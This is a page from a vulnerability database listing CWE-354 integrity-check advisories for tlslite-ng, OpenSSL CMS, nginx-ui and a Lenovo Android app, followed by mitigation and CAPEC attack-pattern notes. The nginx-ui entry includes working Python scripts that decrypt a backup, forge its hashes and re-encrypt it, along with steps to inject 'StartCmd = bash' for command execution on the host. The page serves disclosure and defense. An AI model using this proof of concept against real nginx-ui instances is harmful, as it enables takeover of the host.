  "summary": "Zebra\u0027s Transparent SIGHASH_SINGLE Handling Diverges from zcashd for Corresponding Outputs"
}

GHSA-CWH5-3CW7-4286

Vulnerability from github – Published: 2018-07-12 20:30 – Updated: 2024-11-13 22:51
VLAI
Summary
tlslite-ng off-by-one error on mac checking
Details

tlslite-ng version 0.7.3 and earlier, since commit d7b288316bca7bcdd082e6ccff5491e241305233 contains a CWE-354: Improper Validation of Integrity Check Value vulnerability in TLS implementation, tlslite/utils/constanttime.py: ct_check_cbc_mac_and_pad(); line end_pos = data_len - 1 - mac.digest_size that can result in an attacker manipulating the TLS ciphertext which will not be detected by receiving tlslite-ng. This attack appears to be exploitable via man in the middle on a network connection. This vulnerability appears to have been fixed after commit 3674815d1b0f7484454995e2737a352e0a6a93d8.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tlslite-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "tlslite-ng version 0.7.3 and earlier, since commit [d7b288316bca7bcdd082e6ccff5491e241305233](https://github.com/tlsfuzzer/tlslite-ng/commit/d7b288316bca7bcdd082e6ccff5491e241305233) contains a CWE-354: Improper Validation of Integrity Check Value vulnerability in TLS implementation, `tlslite/utils/constanttime.py`: `ct_check_cbc_mac_and_pad()`; line `end_pos = data_len - 1 - mac.digest_size` that can result in an attacker manipulating the TLS ciphertext which will not be detected by receiving tlslite-ng. This attack appears to be exploitable via man in the middle on a network connection. This vulnerability appears to have been fixed after commit [3674815d1b0f7484454995e2737a352e0a6a93d8](https://github.com/tlsfuzzer/tlslite-ng/pull/234/commits/3674815d1b0f7484454995e2737a352e0a6a93d8).",
  "id": "GHSA-cwh5-3cw7-4286",
  "modified": "2024-11-13T22:51:51Z",
  "published": "2018-07-12T20:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000159"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tlsfuzzer/tlslite-ng/pull/234/commits/3674815d1b0f7484454995e2737a352e0a6a93d8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomato42/tlslite-ng/pull/234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tlsfuzzer/tlslite-ng/commit/d7b288316bca7bcdd082e6ccff5491e241305233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tlslite-ng/PYSEC-2018-31.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tomato42/tlslite-ng"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tlslite-ng off-by-one error on mac checking"
}

GHSA-F9V2-4W9P-2CWC

Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-10 18:31
VLAI
Details

Issue Summary: Cryptographic Message Services (CMS) processing fails to perform sufficient input validation on the cipher and tag length fields of AuthEnvelopedData containers, leading to various potential compromises.

Impact Summary: Attackers making use of these vulnerabilities may achieve key-equivalent functionality for a given CMS recipient and/or bypass integrity validation for a given message.

In one use case, an attacker may send a CMS message containing AuthEnvelopedData with the cipher specified as a non-AEAD cipher. OpenSSL erroneously allows this selection, and attempts to decrypt and validate the message.

An on-path attacker who captures one legitimate AES-GCM AuthEnvelopedData addressed to the victim can re-emit it with the recipientInfos set left byte-for-byte intact, so the victim's private key still unwraps the genuine CEK (the content-encryption key), but with the inner OID rewritten to AES-256-OFB (Output Feedback Mode, an unauthenticated keystream mode) and with an attacker-chosen IV and ciphertext. The victim initializes AES-256-OFB under the real CEK, never consults the MAC field, and CMS_decrypt() returns success.

If the application under attack responds to the attacker with any indicator showing success or failure of the decryption effort, it is possible for the attacker to use this as an oracle to obtain key equivalent functionality for the CEK used for the chosen recipient of the message.

In another use case, an attacker can reduce the tag length of the chosen AEAD cipher for a given AuthEnvelopedData container to be a single byte long, allowing an attacker to brute force CMS decryption, producing an integrity bypass for applications that trust CMS_decrypt() to reject modified content.

The FIPS modules are not affected by this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-34182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T17:17:04Z",
    "severity": "CRITICAL"
  },
  "details": "Issue Summary: Cryptographic Message Services (CMS) processing fails to perform\nsufficient input validation on the cipher and tag length fields of\nAuthEnvelopedData containers, leading to various potential compromises.\n\nImpact Summary: Attackers making use of these vulnerabilities may achieve\nkey-equivalent functionality for a given CMS recipient and/or bypass integrity\nvalidation for a given message.\n\nIn one use case, an attacker may send a CMS message containing\nAuthEnvelopedData with the cipher specified as a non-AEAD cipher.  OpenSSL\nerroneously allows this selection, and attempts to decrypt and validate the\nmessage.\n\nAn on-path attacker who captures one legitimate AES-GCM AuthEnvelopedData\naddressed to the victim can re-emit it with the recipientInfos set left\nbyte-for-byte intact, so the victim\u0027s private key still unwraps the genuine CEK\n(the content-encryption key), but with the inner OID rewritten to AES-256-OFB\n(Output Feedback Mode, an unauthenticated keystream mode) and with an\nattacker-chosen IV and ciphertext. The victim initializes AES-256-OFB under the\nreal CEK, never consults the MAC field, and CMS_decrypt() returns success.\n\nIf the application under attack responds to the attacker with any indicator\nshowing success or failure of the decryption effort, it is possible for the\nattacker to use this as an oracle to obtain key equivalent functionality for the\nCEK used for the chosen recipient of the message.\n\nIn another use case, an attacker can reduce the tag length of the chosen AEAD\ncipher for a given AuthEnvelopedData container to be a single byte long,\nallowing an attacker to brute force CMS decryption, producing an integrity\nbypass for applications that trust CMS_decrypt() to reject modified content.\n\nThe FIPS modules are not affected by this issue.",
  "id": "GHSA-f9v2-4w9p-2cwc",
  "modified": "2026-06-10T18:31:40Z",
  "published": "2026-06-09T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/03c1f4d45fb963aee7d5833390c507cd290182bc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/439ed7d2c0962ce964482727264668bf277c333f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/openssl/commit/d2ca86bcd43e4f17d899f347101766b6107676e0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/03c1f4d45fb963aee7d5833390c507cd290182bc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/439ed7d2c0962ce964482727264668bf277c333f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openssl/security/commit/d2ca86bcd43e4f17d899f347101766b6107676e0"
    },
    {
      "type": "WEB",
      "url": "https://openssl-library.org/news/secadv/20260609.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHH2-GG7W-GWPQ

Vulnerability from github – Published: 2026-03-30 16:23 – Updated: 2026-07-06 19:35
VLAI
Summary
nginx-ui Backup Restore Allows Tampering with Encrypted Backups
Details

Summary

The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.

Details

The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hash_info.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.

Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.

The backup system is built around the following workflow:

  1. Backup files are compressed into nginx-ui.zip and nginx.zip.
  2. The files are encrypted using AES-256-CBC.
  3. SHA-256 hashes of the encrypted files are stored in hash_info.txt.
  4. The hash file is also encrypted with the same AES key and IV.
  5. The AES key and IV are provided to the client as a "backup security token".

This architecture creates a circular trust model:

  • The encryption key is available to the client.
  • The integrity metadata is encrypted with that same key.
  • The restore process trusts hashes contained within the backup itself.

Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.

Environment

  • OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)
  • Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)
  • Deployment: Docker Container default installation
  • Relevant Source Files:
  • backup_crypto.go
  • backup.go
  • restore.go
  • SystemRestoreContent.vue

PoC

  1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the .key file. image

  2. Decrypt the nginx-ui.zip archive using the obtained token.

import base64
import os
import sys
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)

def process_local_backup(file_path, token, output_dir):
    key_b64, iv_b64 = token.split(":")
    os.makedirs(output_dir, exist_ok=True)
    print(f"[*] File processing: {file_path}")

    with zipfile.ZipFile(file_path, 'r') as main_zip:
        main_zip.extractall(output_dir)

    files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in files_to_decrypt:
        path = os.path.join(output_dir, filename)
        if os.path.exists(path):
            with open(path, "rb") as f:
                encrypted = f.read()

            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            out_path = path + ".decrypted"
            with open(out_path, "wb") as f:
                f.write(decrypted)
            print(f"[*] Successfully decrypted: {out_path}")

# Manual config
BACKUP_FILE = "backup-20260314-151959.zip" 
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
OUTPUT = "decrypted"

if __name__ == "__main__":
    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)
  1. Modify the contained app.ini to inject malicious configuration (e.g., StartCmd = bash).
  2. Re-compress the files and calculate the new SHA-256 hash.
  3. Update hash_info.txt with the new, legitimate-looking hashes for the modified files.
  4. Encrypt the bundle again using the original Key and IV.
import base64
import hashlib
import os
import zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_file(data, key_b64, iv_b64):
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"):
    key_b64, iv_b64 = token.split(":")

    encrypted_blobs = {}
    for fname in files:
        with open(fname, "rb") as f:
            data = f.read()

        blob = encrypt_file(data, key_b64, iv_b64)

        target_name = fname.replace(".decrypted", "")
        encrypted_blobs[target_name] = blob
        print(f"[*] Cipher {target_name}: {len(blob)} bytes")

    hash_content = ""
    for name, blob in encrypted_blobs.items():
        h = hashlib.sha256(blob).hexdigest()
        hash_content += f"{name}: {h}\n"

    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)
    encrypted_blobs["hash_info.txt"] = encrypted_hash_info

    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:
        for name, blob in encrypted_blobs.items():
            zf.writestr(name, blob)

    print(f"\n[*] Backup rebuild: {output_filename}")
    print(f"[*] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if __name__ == "__main__":
    build_rebuilt_backup(FILES, TOKEN)
  1. Upload the tampered backup to the nginx-ui restore interface. image

  2. Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host. image

Impact

An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.

Potential impacts include:

  • Persistent configuration tampering
  • Backdoor insertion into nginx configuration
  • Execution of attacker-controlled commands depending on configuration settings
  • Full compromise of the nginx-ui instance

The severity depends on the restore permissions and deployment configuration.

Recommended Mitigation

  1. Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include:
  2. Signing backup metadata using a server-side private key
  3. Storing integrity metadata separately from the backup archive

  4. Enforce integrity verification The restore operation must abort if hash verification fails.

  5. Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.

  6. Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.

This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.

Regression

The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.

The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.

As a result, the fundamental integrity weakness remains exploitable even after the previous fix.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20260315015203-f61bcec547c0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-347",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T16:23:34Z",
    "nvd_published_at": "2026-03-30T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n  - `backup_crypto.go`\n  - `backup.go`\n  - `restore.go`\n  - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n    \u003cimg width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" /\u003e\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n    key_b64, iv_b64 = token.split(\":\")\n    os.makedirs(output_dir, exist_ok=True)\n    print(f\"[*] File processing: {file_path}\")\n    \n    with zipfile.ZipFile(file_path, \u0027r\u0027) as main_zip:\n        main_zip.extractall(output_dir)\n        \n    files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n    \n    for filename in files_to_decrypt:\n        path = os.path.join(output_dir, filename)\n        if os.path.exists(path):\n            with open(path, \"rb\") as f:\n                encrypted = f.read()\n            \n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n            \n            out_path = path + \".decrypted\"\n            with open(out_path, \"wb\") as f:\n                f.write(decrypted)\n            print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n    key_b64, iv_b64 = token.split(\":\")\n    \n    encrypted_blobs = {}\n    for fname in files:\n        with open(fname, \"rb\") as f:\n            data = f.read()\n        \n        blob = encrypt_file(data, key_b64, iv_b64)\n\n        target_name = fname.replace(\".decrypted\", \"\")\n        encrypted_blobs[target_name] = blob\n        print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n    hash_content = \"\"\n    for name, blob in encrypted_blobs.items():\n        h = hashlib.sha256(blob).hexdigest()\n        hash_content += f\"{name}: {h}\\n\"\n    \n    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n    encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n    with zipfile.ZipFile(output_filename, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zf:\n        for name, blob in encrypted_blobs.items():\n            zf.writestr(name, blob)\n            \n    print(f\"\\n[*] Backup rebuild: {output_filename}\")\n    print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n    build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n   \u003cimg width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" /\u003e\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n   \u003cimg width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" /\u003e\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n   - Signing backup metadata using a server-side private key\n   - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
  "id": "GHSA-fhh2-gg7w-gwpq",
  "modified": "2026-07-06T19:35:49Z",
  "published": "2026-03-30T16:23:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/f61bcec547c0f305e35348d6440ef156c1d5c3cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g9w5-qffc-6762"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4903"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "nginx-ui Backup Restore Allows Tampering with Encrypted Backups"
}

GHSA-FJCX-XPP3-XG8C

Vulnerability from github – Published: 2022-05-13 01:45 – Updated: 2022-05-13 01:45
VLAI
Details

The Lenovo Service Framework Android application uses a set of nonsecure credentials when performing integrity verification of downloaded applications and/or data. This exposes the application to man-in-the-middle attacks leading to possible remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-3760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-17T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "The Lenovo Service Framework Android application uses a set of nonsecure credentials when performing integrity verification of downloaded applications and/or data. This exposes the application to man-in-the-middle attacks leading to possible remote code execution.",
  "id": "GHSA-fjcx-xpp3-xg8c",
  "modified": "2022-05-13T01:45:52Z",
  "published": "2022-05-13T01:45:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3760"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/product_security/LEN-15374"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

CAPEC-145: Checksum Spoofing

An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.